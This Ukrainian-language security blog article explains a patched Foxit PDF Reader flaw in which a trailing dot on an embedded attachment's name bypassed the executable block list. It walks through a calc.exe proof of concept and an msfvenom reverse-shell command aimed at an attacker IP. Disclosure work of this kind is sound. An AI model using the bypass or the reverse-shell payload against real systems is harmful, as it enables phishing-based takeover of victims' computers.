Фішинг на новому рівні: як вразливість Arbitrary File Execution у Foxit PDF Reader дозволяє зловмисникам отримати контроль над корпоративними системами

На сьогодні, фішинг є одним із поширених методів, якими зловмисники отримують доступ до систем цільових організацій. Хакери використовують соціальну інженерію та старанно вивчають свою жертву, щоб створити переконливі та охайні листи електронної пошти. Ці листи можуть містити підробні повідомлення від керівництва, посилання на шкідливі веб-сайти, або вкладення зі шкідливим програмним забезпеченням.

Існує багато способів захисту від атак такого роду, наприклад навчання персоналу або ж використання антивірусного та антиспамового програмного забезпечення. Проте, зловмисники не сплять і йдуть далі – вони обходять ці захисні рішення за допомогою експлуатації легального програмного забезпечення. Про одну з таких вразливостей ми поговоримо з вами сьогодні – вразливість Arbitrary File Execution vulnerability в програмному забезпеченні Foxit PDF Reader.

Про дану вразливість було повідомлено в корпорацію Foxit 06.09.2021 і виправлено в Foxit Reader і Foxit PDF Editor v11.1, опублікованих 12.10.2021.

Почнемо з того, що Foxit PDF Reader – це безкоштовний програмний продукт від Foxit Corporation, призначений для перегляду та роботи з PDF-файлами. Цей продукт є альтернативою до інших популярних читачів, таких як Adobe Reader. Однією з основних переваг Foxit PDF Reader є його швидкодія та низькі вимоги до системних ресурсів, що сприяє його популярності та поширенню в корпоративних мережах. Foxit має безкоштовну версію, яка доступна для використання всіма користувачами, однак також пропонує комерційні версії свого програмного забезпечення, які мають додаткові функції та можливості.

Foxit PDF дає можливість використовувати вкладення (Attachments) для зручної роботи. Вони дозволяють PDF файлу містити інші файли (наприклад, документи, зображення, архіви тощо), які додаються або вбудовуються в основний PDF-документ. Відповідно, коли ми відкриваємо PDF-файл із вкладеннями в Foxit PDF, ми можемо переглядати та взаємодіяти з цими додатковими файлами.

Проте, не все так просто як хотілось зловмисникам – з міркувань безпеки, Foxit блокує і попереджає про вкладення файлів, які є виконуваними та можуть бути використані для ШПЗ. Це стосується наступних поширених розширень:

  • .exe
  • .bat, cmd
  • .vbs
  • .ps1
  • .scr

Використання цих файлів дає зловмиснику можливість виконувати довільний код на цільовій машині (Remote Code Execution), саме тому, ці розширення місяться в Block List. Тому, коли ми спробуємо вставити, як вкладення файл з якимось вище вказаним розширенням отримаємо наступне попередження при відкритті нашого документа:

 

RNB Запис
Figure 1 – Блокування виконуваного розширення

Проте, на даному етапі, існує можливість обійти дану захисну поведінку PDF рідера та запустити виконуваний файл. Все, що нам потрібно – trailing dot в кінці імені файлу. Це крапка, яка вказується в кінці імені модуля чи певного об’єкта (в нашому випадку файл вкладення). Під час дослідження цієї поведінки, ми виявили додавання крапки після розширення файлу, вбудованого в PDF, призвело до того, що клієнт Foxit PDF дозволив відкрити його. Це відбувається незалежно від того, яким було розширення вбудованого файлу та його вмісту.

Спробуємо проексплуатувати дану поведінку. Для початку, нам потрібно задати структуру PDF файлу. Зробити це можна навіть в простому текстовому редакторі:

RNB Запис
Figure 2 – Початок структури PDF файла

У форматі PDF (Portable Document Format) документ подається у вигляді тексту, що містить інструкції та об’єкти, які визначають структуру документа. На рисунку вище можна побачити 4 об’єкти:

  • Об’єкт 1 (Catalog) – зазначає, що це корінь дерева об’єктів PDF та вказує на об’єкт, який містить інформацію про структуру документа. Також, тут можемо побачити наявність вкладених файлів у документі – вкладений файл із іменем “payload”, який знаходиться у об’єкті з номером 5.
  • Об’єкт 2 (Pages) – описує об’єкт, який містить інформацію про сторінки документа. У нашому випадку вказано, що є одна сторінка, прописана як Kids[3 0 R].
  • Об’єкт 3 (Page) – визначає параметри конкретної сторінки, такі як розмір та вміст.
  • Об’єкт 4 (Action) – дія переходу (GoToE), яка вказує на виконання дії при відкритті сторінки (вкладення payload).

Оголосивши цей фрагмент PDF файлу, ми можемо перейти до написання експлойта. Оголосимо об’єкт 5 та об’єкт 6, які будуть відповідати за вкладення файлу malware.bat. (не забуваймо про крапку в кінці імені файлу) та його внутрішнім вмістом, що буде виконуватись при запуску. Для перевірки працездатності спробуємо виконати просту команду – запуск калькулятора у середовищі Windows.

RNB Запис
Figure 3 – Експлойт

Тепер збережемо файл та спробуємо його запустити. Одразу після запуску бачимо вікно про попередження небезпечного контенту в середині файла:

RNB Запис
Figure 4 – Foxit PDF warning

Проте, на жаль, звичайний, рядовий користувач ПК не зверне увагу та не буде вчитуватись в ці повідомлення та натисне кнопку “Trust this document”. Після цього, Foxit запропонує нам способи відкриття вкладення:

RNB Запис
Figure 5 – Foxit PDF Open File Attachment window

Знову ж таки, цікавою особливістю Foxit є те, що він не показує, що саме ми збираємось відкрити як вкладення. Саме тому, цікавість користувача переважає над безпекою й він натискає кнопку “Ok”:

RNB Запис
Figure 6 – PoC

Наш вкладений файл успішно виконався й ми отримали запущений калькулятор після відкриття файлу! Проте, ми цим не обмежимось та спробуємо піти далі – отримати reverse shell.

Згенеруємо наш пейлоад для цільової машини з  допомогою msfvenom:

  • msfvenom -p cmd/windows/reverse_powershell lhost=<Attacker_IP> lport=<Attacker_port>
RNB Запис
Figure 7 – Генерація пейлоада

Та помістимо наш пейлод замість команди calc.exe:

RNB Запис
Figure 8 – Пейлоад в PDF файлі

Все що нам залишилось зробити це запустити listener для очікування з’єднання та змусити цільову жертву запустити файл:

RNB Запис
Figure 9 – Metasploit listener

Та запустимо файл:

RNB Запис
Figure 10 – Запущений файл

Відразу після цього повернемось до консолі C2 сервера та помітимо нову сесію з нашою цільовою жертвою:

RNB Запис
Figure 11 – Сесія з цільовою машиною

Як бачимо, вразливість носить доволі небезпечний характер, що дозволяє зловмиснику запустити довільний виконуваний файл на цільовій машині жертви. З метою уникнення зараженням та спроб експлуатації необхідно оновити програмне забезпечення Foxit PDF до останнього наявного патчу безпеки (версія 2023.3.0.23028 на момент написання статті).

Додаткові посилання:

https://www.adobe.com/devnet-docs/acrobatetk/tools/AppSec/attachments.html#blacklisted-extensions

https://www.hoxhunt.com/blog/foxit-pdf-file-execution-vulnerability-reported

https://kb.foxit.com/hc/en-us/articles/360040660811-Use-Foxit-PhantomPDF-to-open-Embedded-Adobe-Acrobat-Documents-and-Embedded-Foxit-Reader-Documents-in-Microsoft-Office

Read Next

Що таке утиліта strace і як її можна використовувати для захисту ваших даних?